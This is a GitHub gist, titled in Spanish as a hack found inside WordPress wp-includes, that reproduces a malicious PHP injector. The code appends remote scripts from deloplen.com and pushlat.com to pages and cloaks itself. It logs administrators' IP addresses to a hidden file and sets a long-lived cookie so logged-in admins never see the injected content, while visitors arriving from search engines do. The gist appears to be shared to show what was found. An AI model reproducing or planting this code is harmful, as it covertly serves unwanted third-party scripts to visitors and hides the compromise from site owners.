Skip to content

Instantly share code, notes, and snippets.

@metelidrissi
Last active September 29, 2019 23:27
Show Gist options
  • Save metelidrissi/35438e3c36a459fd7edb7764d3c6b3b2 to your computer and use it in GitHub Desktop.
Save metelidrissi/35438e3c36a459fd7edb7764d3c6b3b2 to your computer and use it in GitHub Desktop.
Hackeo en WordPress dentro de wp-includes
<?php
ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key='1234567897897895456';
if ( ! function_exists( 'slider_option' ) ) {
function slider_option($content){
if(is_single()){
$con = '';
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';
$content=$content.$con2;
}
return $content;
}
function slider_option_footer(){
if(!is_single())
{
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';
echo $con2;
}
}
function setting_my_first_cookie() {
setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}
if(is_user_logged_in())
{
add_action( 'init', 'setting_my_first_cookie',1 );
}
if( current_user_can('edit_others_pages')){
if (file_exists(ABSPATH.'wp-includes/wp-feed.php')){
$ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
}
if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){
$ip.=$_SERVER['REMOTE_ADDR'].'';
@file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
}
}
$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
if (strpos($ref,$source)!==false) {
setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$sevisitor=true;
}
}
if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) {
$adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){
if($sevisitor==true || isset($_COOKIE['sevisitor'])){
add_filter('the_content','slider_option');
add_action('wp_footer','slider_option_footer');
}
}
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment